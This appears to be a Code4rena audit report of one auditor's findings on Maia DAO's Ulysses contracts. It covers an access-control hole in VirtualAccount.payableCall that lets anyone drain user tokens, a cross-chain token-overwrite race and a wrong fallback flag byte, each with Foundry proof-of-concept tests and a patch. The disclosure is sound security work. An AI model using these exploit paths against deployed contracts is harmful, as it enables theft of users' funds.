Maia DAO - Ulysses - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Vulnerability details

VirtualAccount acts as a virtual account for the user and holds the user's assets. The contract provides methods to use the assets, such as withdrawNative(), withdrawERC20(), call(), payableCall() and so on. In order to ensure the security of assets, these methods are controlled by requiresApprovedCaller to avoid being called illegally. However, payableCall() does not have a requiresApprovedCaller modifier. which allows anyone to call this method and use the user's assets, e.g. directly calling ERC20.transfer to transfer out the token The payableCall() method is implemented as follows:

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
....

Impact

Anyone can steals assets from VirtualAccount

Proof of Concept

The following code demonstrates that anyone can transfer the token stored in VirtualAccount

add to MulticallRootRouterTest.t.sol

    function testPayableCallByAnyone() external{
        //1. init token 
        rewardToken.mint(userVirtualAccount,100e18);
        console2.log("userVirtualAccount balance(before):",rewardToken.balanceOf(userVirtualAccount));
        //2. any call payableCall() to transfer out
        hevm.startPrank(address(0x10022));
        PayableCall[] memory call = new PayableCall[](1);
        call[0] = PayableCall({
                                    target:address(rewardToken),
                                    callData:abi.encodeWithSelector(rewardToken.transfer.selector,address(this),100e18),
                                    value:0
                                    });
        IVirtualAccount(userVirtualAccount).payableCall(call);
        hevm.stopPrank();
        //3. show balance
        console2.log("userVirtualAccount balance(after):",rewardToken.balanceOf(userVirtualAccount));        
    }

$ forge test -vvv --match-test testPayableCallByAnyone

[PASS] testPayableCallByAnyone() (gas: 76933)
Logs:
  userVirtualAccount balance(before): 100000000000000000000
  userVirtualAccount balance(after): 0

Recommended Mitigation

-  function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+  function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
....

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L483

Vulnerability details

Vulnerability details

CoreBranchRouter.addGlobalToken() is used to set the local token of chains. when CoreBranchRouter.addGlobalToken(_dstChainId = ftm) , will execute follow step:

1. [root]CoreRootRouter._addGlobalToken()
   • 1.1 check isGlobalAddress(_globalAddress)
   • 1.2 check not isGlobalToken(_globalAddress, _dstChainId)
2. [branch]CoreBranchRouter._receiveAddGlobalToken()
   • 2.1 [remote:ftm] CoreBranchRouter._receiveAddGlobalToken()
     • 2.1.1 New Local Token address
3. [root] CoreRootRouter._setLocalToken()
   • 3.1 check not isLocalToken(new Local token)
   • 3.2 rootPort.setLocalAddress(globalGlobal,new Local token, fmtChainId)

Call sequence [root]->[branch]->[root], with asynchronous calls via layerzero. Since it is asynchronous, in the case of concurrency, the check in step [1.2] is invalid because step [3.2] is executed after a certain amount of time.

Consider the following scenarios

1. alice execute addGlobalToken(ftm) through Steps [1] and [2], and generate `alice_LocalTokenAddress = 0x01
2. bob executes addGlobalToken(ftm) through Steps [1] and [2], and generate bob_LocalTokenAddress = 0x02 at the same time.
3. after a while layerzero executes alice's request, will pass step 3.1 , because alice_LocalTokenAddress is new
4. after a while layerzero executes bob's request, will pass step 3.1 , because bob_LocalTokenAddress is new

So bob_LocalTokenAddress will override alice_LocalTokenAddress.

The main problem here is that the check in step [3.1] is wrong, because the local token is a regenerated address, so isLocalToken() is always flase. It should be checking isGlobalToken(_globalAddress, _dstChainId))

    function _setLocalToken(address _globalAddress, address _localAddress, uint16 _dstChainId) internal {
        // Verify if the token already added
@>      if (IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) revert TokenAlreadyAdded();

        // Set the global token's new branch chain address
        IPort(rootPortAddress).setLocalAddress(_globalAddress, _localAddress, _dstChainId);
    }

Impact

In the case of concurrency, the second local token will overwrite the first local token. Before overwriting, the first local token is still valid, if someone exchanges the first local token, and waits until after overwriting, then the first local token will be invalidated, and the user will lose the corresponding token.

Proof of Concept

The following code demonstrates that with layerzero asynchronous and due to _setLocalToken() error checking may cause the second localToken to overwrite the first localToken the layerzero call is simplified

add to CoreRootBridgeAgentTest.t.sol

    function testAddGlobalTokenOverride() public {
        //1. new global token
        GasParams memory gasParams = GasParams(0, 0);
        arbitrumCoreRouter.addLocalToken(address(arbAssetToken), gasParams);
        newGlobalAddress = RootPort(rootPort).getLocalTokenFromUnderlying(address(arbAssetToken), rootChainId);
        console2.log("New Global Token Address: ", newGlobalAddress);

        //2.1 new first local token
        gasParams = GasParams(1 ether, 1 ether);        
        GasParams[] memory remoteGas = new GasParams[](2);
        remoteGas[0] = GasParams(0.0001 ether, 0.00005 ether);
        remoteGas[1] = GasParams(0.0001 ether, 0.00005 ether);
        bytes memory data = abi.encode(ftmCoreBridgeAgentAddress, newGlobalAddress, ftmChainId,remoteGas);
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);
        encodeCallNoDeposit(
            payable(ftmCoreBridgeAgentAddress),
            payable(address(coreBridgeAgent)),
            chainNonce[ftmChainId]++,
            packedData,
            gasParams,
            ftmChainId
        );
        //2.2 new second local token

        data = abi.encode(ftmCoreBridgeAgentAddress, newGlobalAddress, ftmChainId,remoteGas);
        packedData = abi.encodePacked(bytes1(0x01), data);
        encodeCallNoDeposit(
            payable(ftmCoreBridgeAgentAddress),
            payable(address(coreBridgeAgent)),
            chainNonce[ftmChainId]++,
            packedData,
            gasParams,
            ftmChainId
        );        
        //3.1 wait some time ,lz execute first local token
        address newLocalToken = address(0xFA111111);
        data = abi.encode(newGlobalAddress, newLocalToken, "UnderLocal Coin", "UL");
        packedData = abi.encodePacked(bytes1(0x03), data);
        encodeSystemCall(
            payable(ftmCoreBridgeAgentAddress),
            payable(address(coreBridgeAgent)),
            chainNonce[ftmChainId]++,
            packedData,
            gasParams,
            ftmChainId
        );
        //3.1.1 show first local token address
        address ftmLocalToken = RootPort(rootPort).getLocalTokenFromGlobal(newGlobalAddress,ftmChainId);
        console2.log("loal Token Address(first): ", ftmLocalToken);

        //3.2 wait some time ,lz execute second local token
        gasParams = GasParams(0.0001 ether, 0.00005 ether);
        newLocalToken = address(0xFA222222);
        data = abi.encode(newGlobalAddress, newLocalToken, "UnderLocal Coin", "UL");
        packedData = abi.encodePacked(bytes1(0x03), data);
        encodeSystemCall(
            payable(ftmCoreBridgeAgentAddress),
            payable(address(coreBridgeAgent)),
            chainNonce[ftmChainId]++,
            packedData,
            gasParams,
            ftmChainId
        );
        //3.2.1 show second local token address
        ftmLocalToken = RootPort(rootPort).getLocalTokenFromGlobal(newGlobalAddress,ftmChainId);
        console2.log("loal Token Address(override): ", ftmLocalToken);        
    }    

$ forge test -vvv --match-contract CoreRootBridgeAgentTest  --match-test testAddGlobalTokenOverride

[PASS] testAddGlobalTokenOverride() (gas: 1846078)
Logs:
  New Global Token Address:  0x12Cd3f6571aF11e01137d294866C5fFd1369Bbe9
  loal Token Address(first):  0x00000000000000000000000000000000Fa111111
  loal Token Address(override):  0x00000000000000000000000000000000fA222222

Recommended Mitigation

check isGlobalToken() replace check isLocalToken()

    function _setLocalToken(address _globalAddress, address _localAddress, uint16 _dstChainId) internal {
        // Verify if the token already added
-      if (IPort(rootPortAddress).isLocalToken(_localAddress, _dstChainId)) revert TokenAlreadyAdded();
+       if (IPort(rootPortAddress).isGlobalToken(_globalAddress, _dstChainId)) {
+            revert TokenAlreadyAdded();
+       }
        // Set the global token's new branch chain address
        IPort(rootPortAddress).setLocalAddress(_globalAddress, _localAddress, _dstChainId);
    }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1090

Vulnerability details

Vulnerability details

The router can convert globalToken to undelyingToken by RootBridgeAgent.callOutAndBridgeMultiple() Since this is a cross-chain operation, we can specify _hasFallbackToggled=true If the execution fails, it is automatically marked as STATUS_RETRIEVE, and the user can then retrieve the globalToken via redeemSettlement().

According to the current protocol implementation, this means that _payload[0]=0x02 becomes 0x82, which means _hasFallbackToggled = true.

But the current _createSettlementMultiple() implementation is wrong Using _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02), bytes1(0x02) & 0x0F is not equivalent to 0x82.

    function _createSettlementMultiple(
        uint32 _settlementNonce,
        address payable _refundee,
        address _recipient,
        uint16 _dstChainId,
        address[] memory _globalAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        bytes memory _params,
        bool _hasFallbackToggled
    ) internal returns (bytes memory _payload) {
...
        _payload = abi.encodePacked(
@>          _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
            _recipient,
            uint8(hTokens.length),
            _settlementNonce,
            hTokens,
            tokens,
            _amounts,
            _deposits,
            _params
        );

        // Create and Save Settlement
        // Get storage reference
        Settlement storage settlement = getSettlement[_settlementNonce];

        // Update Setttlement
        settlement.owner = _refundee;
        settlement.recipient = _recipient;
        settlement.hTokens = hTokens;
        settlement.tokens = tokens;
        settlement.amounts = _amounts;
        settlement.deposits = _deposits;
        settlement.dstChainId = _dstChainId;
        settlement.status = STATUS_SUCCESS;
    }

Impact

does not meet the expectations of users, malfunction can't execute callOutAndBridgeMultiple(_hasFallbackToggled = true) ， will revert UnknownFlag()

Proof of Concept

The following demonstrates whether bytes1(0x02) & 0x0F are equal or not

$ chisel
➜ bytes1(0x02) & 0x0F == 0x82
Type: bool
└ Value: false
➜ 

Recommended Mitigation

    function _createSettlementMultiple(
        uint32 _settlementNonce,
        address payable _refundee,
        address _recipient,
        uint16 _dstChainId,
        address[] memory _globalAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        bytes memory _params,
        bool _hasFallbackToggled
    ) internal returns (bytes memory _payload) {
...
        _payload = abi.encodePacked(
-          _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
+          _hasFallbackToggled ? bytes1(0x82) : bytes1(0x02),
            _recipient,
            uint8(hTokens.length),
            _settlementNonce,
            hTokens,
            tokens,
            _amounts,
            _deposits,
            _params
        );

        // Create and Save Settlement
        // Get storage reference
        Settlement storage settlement = getSettlement[_settlementNonce];

        // Update Setttlement
        settlement.owner = _refundee;
        settlement.recipient = _recipient;
        settlement.hTokens = hTokens;
        settlement.tokens = tokens;
        settlement.amounts = _amounts;
        settlement.deposits = _deposits;
        settlement.dstChainId = _dstChainId;
        settlement.status = STATUS_SUCCESS;
    }

Assessed type

Context

Findings Summary

[L-01] payableCall don't support target is EOAs

The payableCall() can be used to execute the code and transfer eth to the target. Currently, it determines if the target is a contract, but if it's not, it fails. This doesn't support one case, transferring eth to EOAs. Suggest removing the restriction to determine the contract

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;
-           if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
+           success, returnData[i] = _call.target.call{value: val}(_call.callData);

[L-02] addBridgeAgentFactory bridgeAgentFactories may be duplicated

addBridgeAgentFactory() executes bridgeAgentFactories.push(_newBridgeAgentFactory); every time But disabling BridgeAgentFactory via toggleBridgeAgentFactory() does not remove the factory. This way when factory if disabled by enable -> disable -> enable, bridgeAgentFactories will have duplicate factorys

Delete array elements after disable.

[L-03] VirtualAccount miss supportsInterface

Currently VirtualAccount supports ERC721, but does not implement supportsInterface(), in order to better integrate with third parties, it is recommended to implement this method.

contract VirtualAccount is IVirtualAccount, ERC1155Receiver {
...
+     function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Receiver) returns (bool) {
+          return interfaceId == type(IERC721Receiver).interfaceId || super.supportsInterface(interfaceId);
+     }   

[L-04] BranchBridgeAgent.lzReceiveNonBlocking() lock of check _srcChainId == rootChainId

Currently BranchBridgeAgent._requiresEndpoint() is used to determine the illegality of the source

    function _requiresEndpoint(address _endpoint, bytes calldata _srcAddress) internal view virtual {
        //Verify Endpoint
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();
        if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();

        //Verify Remote Caller
        if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
        if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller();
    }

We know from the above code that currently it only determines whether rootBridgeAgentAddress is legitimate or not, and does not determine whether the _srcChainId of the source is equal to rootChainId or not. If the deployed code can be replayed to generate the same rootBridgeAgentAddress address in different chains, then it can be manipulated and other chains can put information to this BranchBridgeAgent as well Suggest to add _srcChainId == rootChainId.